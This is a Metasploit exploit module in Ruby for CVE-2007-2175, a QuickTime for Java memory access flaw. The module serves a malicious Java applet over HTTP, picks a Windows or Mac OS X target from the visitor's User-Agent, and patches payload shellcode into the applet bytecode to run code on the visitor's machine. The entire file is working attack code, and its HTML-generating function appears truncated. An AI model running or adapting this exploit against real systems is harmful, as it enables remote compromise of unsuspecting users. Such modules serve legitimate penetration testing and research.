## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking # # This module acts as an HTTP server # include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Apple QTJava toQTPointer() Arbitrary Memory Access', 'Description' => %q{ This module exploits an arbitrary memory access vulnerability in the Quicktime for Java API provided with Quicktime 7. }, 'License' => MSF_LICENSE, 'Author' => [ 'hdm', # Original exploit for Mac OS X PPC / Win32 'kf', # Added support for Mac OS X X86 'ddz' # Discovered bug, provided tips ], 'References' => [ ['CVE', '2007-2175'], ['OSVDB', '34178'], ['BID', '23608'], ['ZDI', '07-023'], ], 'Payload' => { 'Space' => 1024, 'BadChars' => '' }, 'Platform' => %w{ win osx }, 'Targets' => [ # # Problem with generic payloads + regenerate_payload still :( # # [ 'Quicktime 7 Automatic', # { # 'Platform' => ['win', 'osx'], # 'Arch' => [ARCH_X86, ARCH_PPC] # } # ], [ 'Quicktime 7 on Windows x86', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ], [ 'Quicktime 7 on Mac OS X PPC', { 'Platform' => 'osx', 'Arch' => ARCH_PPC, } ], [ 'Quicktime 7 on Mac OS X x86', { 'Platform' => 'osx', 'Arch' => ARCH_X86, } ], ], # 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 23 2007' )) end def exploit # load the class data path = File.join(Msf::Config.data_directory, "exploits", "QTJavaExploit.class") fd = File.open(path, "rb") @class_data = fd.read(fd.stat.size) fd.close super end def on_request_uri(cli, req) # Create a cached mapping between IP and detected target @targetcache ||= {} @targetcache[cli.peerhost] ||= {} @targetcache[cli.peerhost][:update] = Time.now.to_i if (target.name =~ /Automatic/) case req.headers['User-Agent'] when /Windows/i print_status("Choosing a Windows target") @targetcache[cli.peerhost][:target] = self.targets[1] when /PPC Mac OS X/i print_status("Choosing a Mac OS X PPC target") @targetcache[cli.peerhost][:target] = self.targets[2] when /Intel Mac OS X/i print_status("Choosing a Mac OS X x86 target") @targetcache[cli.peerhost][:target] = self.targets[3] end end # Clean the cache rmq = [] @targetcache.each_key do |addr| if (Time.now.to_i > @targetcache[addr][:update]+60) rmq.push addr end end rmq.each {|addr| @targetcache.delete(addr) } # Request processing if (not req.uri.match(/\.class$/i)) # Redirect to the base directory so the applet code loads... if (not req.uri.match(/\/$/)) send_redirect(cli, get_resource() + '/', '') return end # Display the applet loading HTML print_status("Sending HTML") send_response_html(cli, generate_html(), { 'Content-Type' => 'text/html' }) return end # Send the actual applet over print_status("Sending applet") send_response(cli, generate_applet(cli, req), { 'Content-Type' => 'application/octet-stream' }) # Handle the payload handler(cli) end def generate_html() return "
" end def generate_applet(cli, req) this_target = nil if (target.name =~ /Automatic/) if (@targetcache[cli.peerhost][:target]) this_target = @targetcache[cli.peerhost][:target] else return '' end else this_target = target end # make a copy.. data = @class_data.dup # 1 = OSX PPC, 2 = OSX X86, 3 = WIN X86 idx_targ = data.index("\x03\x10\xcc\x54") # 1024 bytes for shellcode idx_code = data.index("\x03\x10\xf0\x54") # Handle Mac OS X PPC if (this_target.arch.include?(ARCH_PPC)) tp = regenerate_payload(cli, 'osx', ARCH_PPC, this_target) data = patch_bytecode(idx_code, data, tp.encoded) data = patch_bytecode(idx_targ, data, "\x01") end # Handle Mac OS X x86 / Windows x86 if (this_target.arch.include?(ARCH_X86)) if (this_target.platform.platforms.include?(Msf::Module::Platform::Windows)) tp = regenerate_payload(cli, 'win', ARCH_X86, this_target) data = patch_bytecode(idx_code, data, tp.encoded) data = patch_bytecode(idx_targ, data, "\x03") end if (this_target.platform.platforms.include?(Msf::Module::Platform::OSX)) tp = regenerate_payload(cli, 'osx', ARCH_X86, this_target) data = patch_bytecode(idx_code, data, tp.encoded) data = patch_bytecode(idx_targ, data, "\x02") end end return data end def patch_bytecode(off, data, buff) cnt = 0 off -= 1 while (cnt < buff.length) cnt += 1 while (! (data[off-1] == 0x10 && data[off+1] == 0x54)) off += 1 end data[off]=buff[cnt-1] off += 1 end return data end end